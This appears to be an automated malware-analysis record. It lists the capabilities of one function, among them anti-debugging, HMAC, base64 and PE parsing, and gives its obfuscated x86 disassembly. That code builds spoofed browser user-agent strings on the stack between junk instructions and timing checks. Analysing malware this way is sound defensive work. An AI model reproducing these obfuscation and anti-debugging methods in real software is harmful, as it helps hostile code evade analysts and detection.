Function at 0x7df58e
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Write file on windows

Disassembly:
mov edx, 0x6f
mov word [ebp - 0x13fe], dx
mov eax, 0x77
add dl, 0xa9
mov word [ebp - 0x13fc], ax
rcr edx, 0x97
mov ecx, 0x73
cmp ebp, eax
movsx eax, di
not edx
mov word [ebp - 0x13fa], cx
shrd ecx, ebx, 0x36
cmovno eax, edx
not cx
mov edx, 0x20
rcl ch, 0xe3
mov word [ebp - 0x13f8], dx
shr cx, cl
add al, 0x55
bswap ax
mov eax, 0x4e
adc ecx, 0x149426d2
mov word [ebp - 0x13f6], ax
sbb eax, 0x3c456ff7
test edi, ebp
bts ecx, ecx
mov ecx, 0x54
xadd eax, eax
mov word [ebp - 0x13f4], cx
mov word [ebp - 0x13f2], dx
mov eax, 0x36
mov word [ebp - 0x13f0], ax
mov ecx, 0x2e
mov word [ebp - 0x13ee], cx
shl ecx, 0x16
xor edx, esp
mov edx, 0x31
btr ax, di
mov word [ebp - 0x13ec], dx
mov eax, 0x29
adc edx, esi
sbb dx, bp
mov word [ebp - 0x13ea], ax
sub eax, edx
mov ecx, 0x20
cmc
mov word [ebp - 0x13e8], cx
test ebp, 0x76061473
mov edx, 0x41
mov word [ebp - 0x13e6], dx
mov eax, 0x70
mov word [ebp - 0x13e4], ax
mov ecx, eax
add ax, 0x2bc0
ror edx, 0xda
mov word [ebp - 0x13e2], cx
xadd dh, dl
rcl edx, cl
btr eax, edi
mov edx, 0x6c
test esi, edi
mov word [ebp - 0x13e0], dx
bt ecx, ecx
mov ecx, esi
mov eax, 0x65
bsr ecx, edx
mov cx, 0x16f6
ror ch, 8
mov word [ebp - 0x13de], ax
or edx, edi
mov ecx, 0x57
mov word [ebp - 0x13dc], cx
bts edx, ebp
mov edx, eax
mov word [ebp - 0x13da], dx
adc dx, bp
cmc
shr dx, cl
mov eax, 0x62
mov word [ebp - 0x13d8], ax
sub edx, 0x2286715f
mov ecx, 0x4b
xor edx, 0x435e11c1
mov word [ebp - 0x13d6], cx
test dh, al
cmovno cx, sp
cmp dl, al
mov edx, 0x69
xor eax, 0x60344fae
sbb eax, edi
movzx ax, ch
mov word [ebp - 0x13d4], dx
clc
sub eax, 0x1566458e
mov eax, 0x74
cmp ax, 0x48cd
cwd
mov word [ebp - 0x13d2], ax
clc
bsf eax, eax
mov ecx, 0x2f
btr eax, 0xe9
sub ax, sp
mov word [ebp - 0x13d0], cx
cbw
sal dl, cl
cmp si, cx
mov edx, 0x35
mov word [ebp - 0x13ce], dx
rcr dh, 0x88
cmp esp, 0x18cd5652
mov eax, 0x33
cmp dx, sp
and dl, 0xf7
mov word [ebp - 0x13cc], ax
mov dx, sp
mov ecx, 0x37
xor dx, 0x56e7
mov word [ebp - 0x13ca], cx
or cl, 0x59
mov edx, 0x2e
cmp esi, eax
bswap ecx
rcl cl, cl
mov word [ebp - 0x13c8], dx
shrd cx, bp, 0xc9
sbb edx, 0x15bd65b1
mov word [ebp - 0x13c6], ax
mov ecx, 0x36
xor ax, si
sal ax, 0x65
mov word [ebp - 0x13c4], cx
bts cx, sp
mov edx, 0x20
and eax, ebx
shr cl, 0x87
mov word [ebp - 0x13c2], dx
cwd
mov dl, al
mov eax, 0x28
mov word [ebp - 0x13c0], ax
sbb al, al
sar eax, cl
mov ecx, 0x4b
bts edx, ecx
mov word [ebp - 0x13be], cx
or dh, 0x23
mov edx, 0x48
mov word [ebp - 0x13bc], dx
sbb dh, 0x71
btc ecx, 0x61
xchg dx, dx
mov eax, 0x54
shl ecx, 0x93
mov word [ebp - 0x13ba], ax
rcl cl, cl
mov ecx, 0x4d
cmp cl, dh
cbw
mov word [ebp - 0x13b8], cx
movzx ax, bh
mov edx, 0x4c
btc cx, 0x5c
mov word [ebp - 0x13b6], dx
mov eax, 0x2c
add cx, 0xaf8
btc dx, 0x95
rol dl, cl
mov word [ebp - 0x13b4], ax
mov ecx, 0x4a8f12bb
rdtsc
mov ecx, 0x20
sar ah, 0xe8
mov word [ebp - 0x13b2], cx
mov edx, 0x6c
mov word [ebp - 0x13b0], dx
mov eax, 0x4b335eaf
jmp 0x8cb025
call fcn.00473d40
add esp, 0xc
mov edx, 0x4d
ror eax, 0xbf
movsx ecx, di
mov word [ebp - 0x1020], dx
add dh, 0xd7
mov eax, 0x6f
btc ecx, 9
test dx, di
rol ch, 0x58
mov word [ebp - 0x101e], ax
mov ecx, 0x7a
setg dh
shrd edx, ebx, 0x30
mov ax, sp
mov word [ebp - 0x101c], cx
mov edx, 0x69
mov word [ebp - 0x101a], dx
and ecx, ebx
mov eax, 0x6c
btc cx, 0x4a
mov word [ebp - 0x1018], ax
cmp eax, 0x60dd561b
mov ecx, eax
movzx edx, bx
stc
mov word [ebp - 0x1016], cx
jmp 0x5c3f6a
mov ecx, 0x68
mov word [ebp - 0x1596], cx
and al, ch
mov edx, 0x72
xchg ch, al
sal cl, cl
mov word [ebp - 0x1594], dx
cmc
lahf
mov eax, 0x6f
bts dx, di
mov word [ebp - 0x1592], ax
mov ecx, 0x6d
sar ah, 0xa5
or dh, 0xc0
mov word [ebp - 0x1590], cx
mov edx, 0x65
mov word [ebp - 0x158e], dx
shl eax, 0xea
bt ax, cx
mov eax, 0x2f
sub cx, di
mov word [ebp - 0x158c], ax
mov ah, ch
rdtsc
mov ecx, 0x34
cmc
mov word [ebp - 0x158a], cx
mov edx, 0x39
xadd ch, cl
cmp eax, eax
mov word [ebp - 0x1588], dx
mov eax, 0x2e
cwd
mov word [ebp - 0x1586], ax
mov ecx, 0x30
or dx, 0x29a5
mov word [ebp - 0x1584], cx
test ebp, 0x2fb61eba
dec ecx
mov edx, eax
shl ch, cl
mov word [ebp - 0x1582], dx
mov eax, 0x32
sbb cx, sp
mov word [ebp - 0x1580], ax
mov ecx, 0x36
btc dx, si
xchg dl, dl
jmp 0x851052
mov edx, 0x61
movzx eax, bx
movsx cx, cl
xor al, 0x6c
mov word [ebp - 0x1014], dx
mov eax, 0x2f
sub ch, 0xbb
shld cx, bp, 0x5c
mov word [ebp - 0x1012], ax
xchg ecx, ecx
movsx ecx, bp
cwd
mov ecx, 0x35
mov eax, 0x2ba53796
inc al
mov word [ebp - 0x1010], cx
movzx eax, ax
mov edx, 0x2e
movzx eax, sp
shld cx, bp, 0x5c
mov word [ebp - 0x100e], dx
and eax, ecx
sar ax, cl
mov eax, 0x30
mov word [ebp - 0x100c], ax
bts dx, bx
bsr ax, ax
sub cl, bl
mov ecx, 0x20
mov word [ebp - 0x100a], cx
sar ecx, cl
movsx ax, bh
mov edx, 0x28
shld cx, dx, 0x46
adc ah, 1
mov word [ebp - 0x1008], dx
rol edx, 0xb7
rcl cl, cl
mov eax, 0x57
ror ecx, cl
mov word [ebp - 0x1006], ax
cmc
bt cx, 0x5f
mov ecx, 0x69
inc ax
test eax, edi
mov word [ebp - 0x1004], cx
cmc
sar cl, cl
cwd
mov edx, 0x6e
mov word [ebp - 0x1002], dx
mov eax, esp
mov eax, 0x64
mov word [ebp - 0x1000], ax
shrd eax, esi, 0xea
jmp 0x889f51
push eax
jmp 0x6e3c8d
mov edx, 0x30
sub ecx, esi
mov word [ebp - 0x19ae], dx
bsf eax, edx
clc
mov eax, 0x31
test cx, sp
neg cl
mov word [ebp - 0x19ac], ax
mov ecx, edx
mov word [ebp - 0x19aa], cx
clc
cmp dh, cl
mov word [ebp - 0x19a8], dx
cmp al, al
mov word [ebp - 0x19a6], ax
mov word [ebp - 0x19a4], cx
xadd ecx, ecx
mov edx, eax
btr eax, ebx
mov word [ebp - 0x19a2], dx
cwde
btr edx, 0xb1
btc edx, 0xaf
mov eax, 0x20
shl dh, cl
sar edx, cl
mov word [ebp - 0x19a0], ax
rcl ah, 0x71
sal al, 0x8f
bt dx, ax
mov ecx, 0x46
btr ax, 0x59
rol dx, cl
xadd ax, ax
mov word [ebp - 0x199e], cx
btr cx, 0xc3
and ax, bp
movzx ax, al
mov edx, 0x69
cmp di, 0x7935
xor eax, esi
bsr eax, esp
mov word [ebp - 0x199c], dx
mov eax, 0x72
cdq
cmc
sal ecx, cl
mov word [ebp - 0x199a], ax
xadd dx, cx
mov ecx, 0x65
mov word [ebp - 0x1998], cx
sbb ah, 0x3a
cmp bx, bp
sets al
mov edx, 0x66
mov word [ebp - 0x1996], dx
rcr cx, cl
clc
mov eax, 0x6f
sar ecx, 0xbc
sal dl, 0xd8
inc dx
mov word [ebp - 0x1994], ax
rcl ah, 6
movzx dx, ch
mov ecx, 0x78
sar edx, 0x56
bsr eax, eax
mov word [ebp - 0x1992], cx
ror eax, 0xb6
mov edx, 0x2f
and cl, 0xbe
sar eax, 0x5d
add cl, ch
mov word [ebp - 0x1990], dx
rcl al, cl
mov eax, 0x34
shl dh, 0x4a
mov word [ebp - 0x198e], ax
bsf cx, bp
rcr ax, 0x17
not dx
mov ecx, 0x37
sbb dx, dx
mov word [ebp - 0x198c], cx
rol ah, cl
mov edx, 0x2e
bsr ax, di
bt ax, 0xbb
cmp bx, 0x4d50
mov word [ebp - 0x198a], dx
shrd eax, ecx, 0x75
add dx, ax
mov eax, 0x30
mov word [ebp - 0x1988], ax
xor edx, ebp
sub ecx, ecx
mov word [ebp - 0x1986], cx
jmp 0x671cba
je 0x651aac
mov ecx, 0x4f
bt eax, edi
sar edx, 0x75
mov word [ebp - 0x1e20], cx
mov edx, 0x70
xchg cl, ah
sal al, 0x84
clc
mov word [ebp - 0x1e1e], dx
bt cx, ax
mov eax, 0x65
mov word [ebp - 0x1e1c], ax
mov ecx, 0x72
lahf
mov word [ebp - 0x1e1a], cx
mov edx, 0x61
mov word [ebp - 0x1e18], dx
shld edx, edi, 0x6e
sub ax, si
bsf cx, bx
mov eax, 0x2f
and edx, 0x4aa30232
movsx edx, bx
btr edx, 0xc8
mov word [ebp - 0x1e16], ax
rcr cl, cl
mov ecx, 0x39
rol dx, cl
mov word [ebp - 0x1e14], cx
shr cl, cl
shl eax, 0xfc
jmp 0x8ce923
mov word [ebp - 0x19c0], dx
mov eax, 0x20
adc cx, 0x1653
ror dx, 0x5b
xor ch, 0x2a
mov word [ebp - 0x19be], ax
rol ah, cl
cbw
mov ecx, 0x47
btr ax, bx
or dh, 0x90
neg dh
mov word [ebp - 0x19bc], cx
bsr eax, ebp
cbw
mov edx, 0x65
rol ch, 4
mov word [ebp - 0x19ba], dx
bt eax, 0x8a
sub dl, ch
mov eax, 0x63
movsx cx, ah
neg cl
jmp 0x80bc66
push 0x164
push ecx
not dh
movsx edx, cx
mov dh, ch
lea edx, [ebp - 0x1984]
jmp 0x78a4c8
mov word [ebp - 0x19de], dx
xadd dx, cx
xor cl, 0xb
btc dx, sp
mov eax, 0x3b
clc
mov word [ebp - 0x19dc], ax
cdq
shr dx, cl
mov ecx, 0x20
rcr al, 0xec
mov word [ebp - 0x19da], cx
add edx, ebp
bt edx, 0x6c
bsf cx, si
mov edx, 0x78
sal al, cl
bts cx, di
cmp si, 0x629
mov word [ebp - 0x19d8], dx
movzx ecx, ax
add ax, ax
mov eax, 0x36
mov word [ebp - 0x19d6], ax
sbb edx, ebp
test edi, esi
mov ecx, 0x34
sbb ax, 0x2383
and edx, 0x70bf37bd
ror dl, 0xc3
mov word [ebp - 0x19d4], cx
sub edx, esp
mov edx, 0x3b
adc cx, 0x4efc
adc cx, cx
stc
mov word [ebp - 0x19d2], dx
mov eax, 0x20
mov word [ebp - 0x19d0], ax
bsf ecx, eax
cmc
mov ecx, 0x72
mov word [ebp - 0x19ce], cx
mov edx, 0x76
mov word [ebp - 0x19cc], dx
not ah
mov eax, 0x3a
sar ecx, cl
shl ch, 0x60
inc cx
mov word [ebp - 0x19ca], ax
mov ecx, 0x34
bt edx, 0x66
mov word [ebp - 0x19c8], cx
mov edx, 0x37
cmp ebp, esp
ror ax, cl
mov word [ebp - 0x19c6], dx
rcr al, cl
cmc
shr cl, cl
mov eax, 0x2e
btc ecx, ecx
shrd ecx, ecx, 0x2f
movzx edx, dx
mov word [ebp - 0x19c4], ax
mov ecx, 0x30
cmp al, 0x59
mov word [ebp - 0x19c2], cx
rcl dx, 9
mov edx, 0x29
cmp ax, 0xaaa
jmp 0x61baef
push edx
call fcn.00473d40
lea esp, [esp + 0xc]
rdtsc
not ah
mov eax, 0x4d
bswap cx
rol ch, 0x78
clc
mov word [ebp - 0x1420], ax
sal eax, cl
mov ecx, 0x6f
btr ax, 0x6f
btc edx, esi
mov word [ebp - 0x141e], cx
mov edx, 0x7a
mov word [ebp - 0x141c], dx
mov eax, 0x69
cwd
xor edx, 0x24f174ba
mov word [ebp - 0x141a], ax
rol ch, cl
shrd cx, si, 0xd
mov ecx, 0x6c
sub ax, 0x1c42
setle dh
mov word [ebp - 0x1418], cx
mov edx, ecx
shl al, cl
or ax, di
mov word [ebp - 0x1416], dx
ror ah, cl
cmovnp ax, dx
mov eax, 0x61
mov word [ebp - 0x1414], ax
shld ax, cx, 0xb8
btr ax, 0xdb
bsr edx, ecx
mov ecx, 0x2f
mov word [ebp - 0x1412], cx
lahf
stc
btr ecx, eax
mov edx, 0x35
test edi, eax
mov word [ebp - 0x1410], dx
movsx eax, bp
cwde
mov eax, 0x2e
not cl
mov word [ebp - 0x140e], ax
bswap dx
cwd
mov ecx, 0x30
neg ax
sar eax, cl
rcl dx, 0xdd
mov word [ebp - 0x140c], cx
rcl cx, cl
mov eax, 0x57af2e5e
mov edx, 0x20
cmovns eax, edx
test di, 0x792d
mov word [ebp - 0x140a], dx
rol dl, cl
mov eax, 0x28
or edx, 0x61c96af4
shr cl, 0x34
add dx, 0x416e
mov word [ebp - 0x1408], ax
mov ecx, 0x57
add ah, dh
test si, ax
mov word [ebp - 0x1406], cx
rcr cx, cl
mov edx, 0x69
inc ecx
movsx eax, bx
mov word [ebp - 0x1404], dx
shld cx, di, 0xb6
mov eax, 0x6e
sar ecx, 0x26
mov word [ebp - 0x1402], ax
mov ecx, 0x64
mov word [ebp - 0x1400], cx
jmp 0x57bef5
mov word [ebp - 0x161c], ax
movsx ecx, sp
lahf
mov ecx, 0x69
movzx edx, bx
cmp ax, si
mov word [ebp - 0x161a], cx
rol ecx, 0x2d
shrd cx, bp, 0xf9
shld cx, bp, 0x1e
mov edx, 0x6c
and eax, ebx
bsf ecx, ebx
bswap ecx
mov word [ebp - 0x1618], dx
test edi, 0xcd83a07
mov eax, edx
mov word [ebp - 0x1616], ax
xchg edx, ecx
rol ecx, cl
cwde
mov ecx, 0x61
mov word [ebp - 0x1614], cx
btr ax, dx
mov edx, 0x2f
mov word [ebp - 0x1612], dx
mov eax, 0x35
mov word [ebp - 0x1610], ax
mov ecx, 0x2e
movsx edx, bp
mov word [ebp - 0x160e], cx
bsr edx, esp
sar edx, 0x5f
xor al, 0x1d
mov edx, 0x30
sub ch, al
rcl ah, 0xec
mov word [ebp - 0x160c], dx
mov eax, 0x20
not cl
cmp ebp, esi
mov word [ebp - 0x160a], ax
btr dx, 0x73
cbw
mov ecx, 0x28
sar ah, 0xe3
add dx, 0x653
rcr ax, cl
mov word [ebp - 0x1608], cx
cmp esp, esp
rcr dx, 0xc7
mov edx, 0x57
mov cx, bp
rcr cx, 0x10
not eax
mov word [ebp - 0x1606], dx
cmp edi, ebp
sub al, 0x2a
mov eax, 0x69
mov word [ebp - 0x1604], ax
stc
movzx ecx, si
mov cl, 0x25
mov ecx, 0x6e
mov word [ebp - 0x1602], cx
mov edx, 0x64
lahf
sub ecx, edx
bts cx, bx
mov word [ebp - 0x1600], dx
mov eax, 0x6f
btc ecx, 0xee
btc edx, ecx
mov word [ebp - 0x15fe], ax
sub eax, 0x3e874c29
mov ecx, 0x77
shrd ax, bx, 0x13
inc ah
mov word [ebp - 0x15fc], cx
mov edx, 0x73
mov word [ebp - 0x15fa], dx
sbb al, ch
shl cl, 0xa1
sub ah, 0x78
mov eax, 0x20
rol cl, 0x5a
btc edx, edi
mov word [ebp - 0x15f8], ax
and edx, 0x73350983
shrd ecx, esi, 0x30
mov ecx, 0x4e
mov word [ebp - 0x15f6], cx
add ecx, 0x661d7466
movsx ecx, bp
rcl dh, cl
mov edx, 0x54
rcr ch, cl
mov word [ebp - 0x15f4], dx
mov word [ebp - 0x15f2], ax
btc cx, 0x19
and dh, 0x7e
mov ecx, 0x35
cwd
mov word [ebp - 0x15f0], cx
cdq
rol ah, 0x1a
cwd
mov edx, 0x2e
adc ecx, 0x3b2d0923
neg cx
mov word [ebp - 0x15ee], dx
adc ch, dh
mov eax, 0x31
mov word [ebp - 0x15ec], ax
mov ecx, 0x29
mov word [ebp - 0x15ea], cx
mov edx, 0x20
mov word [ebp - 0x15e8], dx
and dl, 0x34
ror cl, cl
shr al, cl
mov eax, 0x41
shr cx, cl
mov word [ebp - 0x15e6], ax
bt ecx, 0xa5
rdtsc
mov ecx, 0x70
sar dx, cl
sub eax, eax
mov word [ebp - 0x15e4], cx
mov edx, ecx
ror cx, cl
sal eax, 0x74
mov word [ebp - 0x15e2], dx
bt edx, edx
mov eax, 0x6c
setge cl
shld cx, bp, 0xf3
mov word [ebp - 0x15e0], ax
bsf ecx, ecx
cmp sp, 0x3c39
mov ecx, 0x65
cmp si, bx
mov word [ebp - 0x15de], cx
mov edx, 0x57
cmova ax, ax
xor ah, 0xd3
sal ah, 0xa3
mov word [ebp - 0x15dc], dx
and dx, 0x1dc5
mov eax, ecx
xchg dx, cx
rol dx, cl
mov word [ebp - 0x15da], ax
mov ecx, 0x62
adc dh, cl
mov word [ebp - 0x15d8], cx
sbb al, 0xd
rcr al, cl
mov edx, 0x4b
mov word [ebp - 0x15d6], dx
cwde
mov eax, 0x69
rcl cx, cl
xchg cx, dx
mov word [ebp - 0x15d4], ax
mov ecx, 0x74
mov word [ebp - 0x15d2], cx
shrd eax, ebp, 0xb7
mov edx, 0x2f
mov word [ebp - 0x15d0], dx
mov eax, 0x35
not edx
cmp ax, sp
mov word [ebp - 0x15ce], ax
mov edx, esi
rol cl, 0x47
mov ecx, 0x33
shr al, 0x5d
shrd ax, sp, 0xa9
mov word [ebp - 0x15cc], cx
cwd
adc dx, 0x3bd5
mov edx, 0x37
sal ah, 0xb4
rol ax, cl
mov word [ebp - 0x15ca], dx
sal edx, 0xf6
mov eax, 0x2e
or dl, 0x6f
xchg dx, dx
mov word [ebp - 0x15c8], ax
mov word [ebp - 0x15c6], cx
xor ah, cl
cdq
shl dx, cl
mov edx, 0x36
not ecx
mov word [ebp - 0x15c4], dx
sub dh, 0xcc
shld cx, bx, 0x19
mov eax, 0x20
mov word [ebp - 0x15c2], ax
bsf edx, eax
btr dx, 0xf8
mov ecx, 0x28
btc ax, 0xe2
mov word [ebp - 0x15c0], cx
shl dl, 0x32
rcr cx, cl
mov edx, 0x4b
btc ecx, eax
add ecx, 0xd767bcf
mov ch, 0x47
mov word [ebp - 0x15be], dx
movsx ecx, dx
setge dl
mov eax, 0x48
neg dl
bts edx, ebp
mov word [ebp - 0x15bc], ax
sbb cx, di
mov ecx, 0x54
sub eax, 0x489f3002
btr edx, 0x1c
mov word [ebp - 0x15ba], cx
shrd edx, eax, 0x92
bswap ecx
mov edx, 0x4d
btc ax, 0xe
btc ax, ax
mov word [ebp - 0x15b8], dx
mov eax, 0x4c
shrd cx, sp, 0x39
mov word [ebp - 0x15b6], ax
shl eax, 0x6a
xadd al, ah
sbb ecx, edx
mov ecx, 0x2c
rcr dh, 0x46
mov al, al
rcr dl, cl
mov word [ebp - 0x15b4], cx
ror dl, 0xcc
mov edx, 0x20
add cx, 0x300c
test edi, 0x432944b9
shl ax, 2
mov word [ebp - 0x15b2], dx
sbb dh, al
mov eax, 0x6c
xadd ch, ch
dec dh
cmovp dx, dx
mov word [ebp - 0x15b0], ax
shrd ecx, ebp, 0x51
mov ecx, 0x69
lahf
mov word [ebp - 0x15ae], cx
bts eax, edx
mov edx, 0x6b
add eax, 0x775e6dfd
shr ah, cl
mov word [ebp - 0x15ac], dx
clc
mov eax, 0x65
xor cx, si
mov word [ebp - 0x15aa], ax
adc cl, ch
mov ecx, 0x20
sal dx, 0x91
mov word [ebp - 0x15a8], cx
btr dx, bx
sal dx, 0x74
mov edx, 0x47
rcr cl, cl
movsx ecx, si
add ecx, 0x48b5228e
mov word [ebp - 0x15a6], dx
btr edx, edx
add ecx, eax
shl dl, 0x91
mov word [ebp - 0x15a4], ax
mov ecx, 0x63
mov dx, 0x4c0e
cbw
mov word [ebp - 0x15a2], cx
rcl al, cl
rol ch, cl
mov edx, 0x6b
cbw
mov word [ebp - 0x15a0], dx
adc ecx, 0x61f2200d
or ch, ah
mov eax, 0x6f
add edx, 0x3c900dee
xchg edx, ecx
mov edx, 0x62321d6d
mov word [ebp - 0x159e], ax
sal ax, 0x24
mov ecx, 0x29
mov word [ebp - 0x159c], cx
mov ecx, edx
mov edx, 0x20
sbb ecx, 0x72cc3e02
mov word [ebp - 0x159a], dx
shr al, cl
movzx cx, cl
mov eax, 0x43
mov word [ebp - 0x1598], ax
jmp 0x5b664e
mov dword [ebp - 0x1e40], eax
movzx esi, dx
mov dword [ebp - 0x1e38], ecx
cmovb cx, cx
mov ax, di
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x1e30], esi
lahf
movzx ax, cl
mov dword [ebp - 0x1e2c], edx
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1e28], eax
mov ecx, dword [ebp + 0x18]
xchg dl, dh
not dh
mov dword [ebp - 0x1e58], ecx
movsx edx, cx
nop
cwde
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x1e5c], edx
movsx eax, cx
mov dword [esi], 0
movzx eax, si
bswap eax
push 0
mov eax, dword [0x52bfc0]
jmp 0x5d4ba8
mov eax, 0x36
cwd
bswap ecx
test ebp, 0x6a2a5474
mov word [ebp - 0xfac], ax
sal cx, 0x7e
adc cl, ch
xor al, 0x5c
mov ecx, 0x20
bts eax, esp
mov word [ebp - 0xfaa], cx
test sp, si
inc ecx
adc ecx, edx
mov edx, 0x28
sbb ax, cx
mov word [ebp - 0xfa8], dx
movzx edx, sp
mov eax, 0x4b
bsf dx, cx
mov word [ebp - 0xfa6], ax
neg edx
mov ecx, 0x48
sbb dx, di
mov word [ebp - 0xfa4], cx
mov edx, 0x54
clc
mov word [ebp - 0xfa2], dx
xor eax, esp
mov eax, 0x4d
mov word [ebp - 0xfa0], ax
cbw
bt edx, 0xca
mov ecx, 0x4c
mov word [ebp - 0xf9e], cx
sbb dl, 0xe1
clc
mov edx, 0x2c
shr cl, 0xb6
mov word [ebp - 0xf9c], dx
rcl dl, 2
test esi, 0x57007f86
rcr ax, 0x21
mov eax, 0x20
cdq
shl edx, cl
mov word [ebp - 0xf9a], ax
not edx
bts ax, di
sbb ecx, 0x2942e1f
mov ecx, 0x6c
shr dl, 0x3f
xadd al, dl
rol edx, 0x2d
mov word [ebp - 0xf98], cx
xadd edx, edx
sbb dx, 0x547c
mov edx, 0x69
rol al, 0x43
or cx, di
cmp bp, si
mov word [ebp - 0xf96], dx
shrd edx, edx, 0xd4
ror ah, cl
mov eax, 0x6b
inc cx
sbb dh, 0xfc
bsf ecx, esi
mov word [ebp - 0xf94], ax
test esp, 0x5f9a7ea9
sbb ch, cl
ror ax, cl
mov ecx, 0x65
adc edx, ecx
mov word [ebp - 0xf92], cx
rcr edx, 0x1b
mov edx, 0x20
mov word [ebp - 0xf90], dx
mov eax, 0x47
xor edx, ecx
bsr dx, bp
mov word [ebp - 0xf8e], ax
not dx
mov word [ebp - 0xf8c], cx
rcr edx, cl
rol ch, 0xa9
sbb edx, edi
mov edx, 0x63
bswap ax
inc al
mov word [ebp - 0xf8a], dx
lahf
seto dh
cwd
mov eax, 0x6b
cmp di, sp
ror cl, cl
mov word [ebp - 0xf88], ax
bts dx, bp
mov ecx, 0x6f
cwd
dec dx
mov word [ebp - 0xf86], cx
btr ecx, esi
shl eax, 0x63
mov edx, 0x29
setb cl
clc
mov word [ebp - 0xf84], dx
sbb ax, bp
mov dx, ax
mov eax, 0x20
sal ecx, 0xd1
shrd edx, esi, 0x21
ror dl, 0x8a
mov word [ebp - 0xf82], ax
not cl
mov ecx, 0x43
shr ah, cl
mov word [ebp - 0xf80], cx
mov edx, 0x68
mov word [ebp - 0xf7e], dx
inc al
btc eax, 0x7f
bt ax, si
mov eax, 0x72
mov word [ebp - 0xf7c], ax
dec ax
mov ecx, 0x6f
shl al, 0xa4
mov word [ebp - 0xf7a], cx
not dl
mov edx, 0x6d
stc
mov word [ebp - 0xf78], dx
bts edx, ebx
mov eax, 0x65
btc ecx, 0x9e
bsr ecx, ebp
mov word [ebp - 0xf76], ax
shld edx, esi, 0xdd
cmp ebp, 0x14653f60
mov ecx, 0x2f
cmp esp, 0x466b4d9b
setge dh
sar dx, 0x58
mov word [ebp - 0xf74], cx
bts ecx, ebx
mov edx, 0x38
sar eax, 0x90
sbb ah, 0xed
mov word [ebp - 0xf72], dx
cwd
mov eax, 0x36
mov word [ebp - 0xf70], ax
cmc
shld edx, ecx, 0xe2
mov ecx, 0x2e
btc eax, edi
mov word [ebp - 0xf6e], cx
mov edx, 0x30
movsx eax, sp
rol ax, 0x8c
mov word [ebp - 0xf6c], dx
mov eax, ecx
mov word [ebp - 0xf6a], ax
movsx eax, sp
mov ecx, 0x34
mov word [ebp - 0xf68], cx
mov edx, 0x32
inc al
mov word [ebp - 0xf66], dx
mov al, 0xd7
shld edx, esp, 8
mov eax, ecx
sbb cl, 0x28
shl dl, 0x28
rcr dl, cl
mov word [ebp - 0xf64], ax
ror al, cl
btc ax, 0xcf
mov ecx, 0x30
bt ax, ax
sal edx, 0xed
mov word [ebp - 0xf62], cx
inc ax
mov edx, 0x2e
sbb ax, cx
bswap eax
mov word [ebp - 0xf60], dx
mov eax, 0x31
bsf ecx, ebp
bsr edx, edx
mov word [ebp - 0xf5e], ax
test ebp, 0x74cc6a5c
btr ax, di
mov ecx, 0x39
or dl, 0x23
ror dx, 0x31
mov word [ebp - 0xf5c], cx
mov edx, 0x38
rcr ecx, 0x3c
mov word [ebp - 0xf5a], dx
mov eax, 0x20
stc
mov word [ebp - 0xf58], ax
mov ecx, 0x53
rcr dl, cl
movzx edx, sp
mov word [ebp - 0xf56], cx
mov edx, 0x61
bts eax, eax
xadd ah, cl
mov word [ebp - 0xf54], dx
mov eax, 0x66
movzx ecx, si
adc cl, bl
movsx ecx, dx
mov word [ebp - 0xf52], ax
shl ax, cl
mov ecx, edx
jmp 0x7e273f
call fcn.00741549
test eax, eax
jmp 0x617faf
call fcn.00473d40
lea esp, [esp + 0xc]
sar dl, 0xe1
shrd dx, sp, 0x76
mov ecx, 0x4d
shrd ax, bp, 0xd7
rcr ax, cl
ror ah, cl
mov word [ebp - 0x1220], cx
stc
rcl ah, cl
test sp, dx
mov edx, 0x6f
sbb ch, 5
ror ecx, 0x68
mov word [ebp - 0x121e], dx
mov eax, 0x7a
cmp ebx, 0x669837f1
test dx, dx
mov word [ebp - 0x121c], ax
test ah, 0x4f
mov ecx, 0x69
mov word [ebp - 0x121a], cx
mov edx, 0x6c
and cx, bp
shl ax, cl
mov word [ebp - 0x1218], dx
movzx eax, bx
shrd ecx, edi, 0x22
mov eax, edx
bsf ecx, ebp
rcl edx, 0x4d
cmc
mov word [ebp - 0x1216], ax
test ebp, 0x509b687c
mov ecx, 0x61
mov word [ebp - 0x1214], cx
cwde
mov edx, 0x2f
mov word [ebp - 0x1212], dx
mov eax, 0x35
add ecx, eax
btc dx, 0xe3
btr edx, 0xeb
mov word [ebp - 0x1210], ax
bsr cx, di
xchg cx, ax
mov ecx, 0x2e
mov word [ebp - 0x120e], cx
mov edx, 0x30
shl ch, 2
mov word [ebp - 0x120c], dx
lahf
rcl ax, cl
mov eax, 0x20
sub dh, ch
neg dl
or ch, bl
mov word [ebp - 0x120a], ax
not al
dec dx
mov ecx, 0x28
mov word [ebp - 0x1208], cx
sbb ecx, esi
mov edx, 0x57
sal al, cl
mov word [ebp - 0x1206], dx
sub eax, ebx
mov eax, 0x69
mov word [ebp - 0x1204], ax
rcl ah, 0xae
sar ch, 0x84
xor dx, dx
mov ecx, 0x6e
mov word [ebp - 0x1202], cx
not dh
adc dh, 0x6d
mov edx, 0x64
ror eax, cl
mov word [ebp - 0x1200], dx
xor edx, ecx
sar ch, 0xfd
btr ax, 0x3f
mov eax, 0x6f
xchg dl, cl
stc
mov word [ebp - 0x11fe], ax
rcl dh, cl
shrd eax, ebx, 0x95
movzx ecx, dx
mov ecx, 0x77
mov word [ebp - 0x11fc], cx
rcl dl, 0x3d
mov edx, 0x73
movzx eax, di
shld ax, ax, 0xb0
and ah, ah
mov word [ebp - 0x11fa], dx
inc edx
mov eax, 0x20
shl ch, 0x3b
jmp 0x87a812
mov ecx, 0x20
mov word [ebp - 0x1dc6], cx
shr edx, cl
test edx, eax
mov edx, 0x50
and cx, 0x3128
mov ax, 0x1a75
mov word [ebp - 0x1dc4], dx
sar ax, cl
mov eax, 0x72
sub edx, 0x2ff501cd
mov word [ebp - 0x1dc2], ax
cmovne eax, esi
bswap cx
rol ax, 0xdc
mov ecx, 0x65
neg dl
shl edx, 0xba
mov word [ebp - 0x1dc0], cx
bswap dx
mov edx, 0x73
mov word [ebp - 0x1dbe], dx
rcl cx, 0xe9
mov eax, 0x74
mov word [ebp - 0x1dbc], ax
xadd ah, al
mov ecx, 0x6f
adc edx, esi
mov word [ebp - 0x1dba], cx
cmc
mov edx, 0x2f
mov word [ebp - 0x1db8], dx
mov eax, 0x32
btr ecx, esi
mov word [ebp - 0x1db6], ax
mov ecx, 0x2e
mov word [ebp - 0x1db4], cx
stc
mov edx, eax
mov word [ebp - 0x1db2], dx
cmc
mov eax, ecx
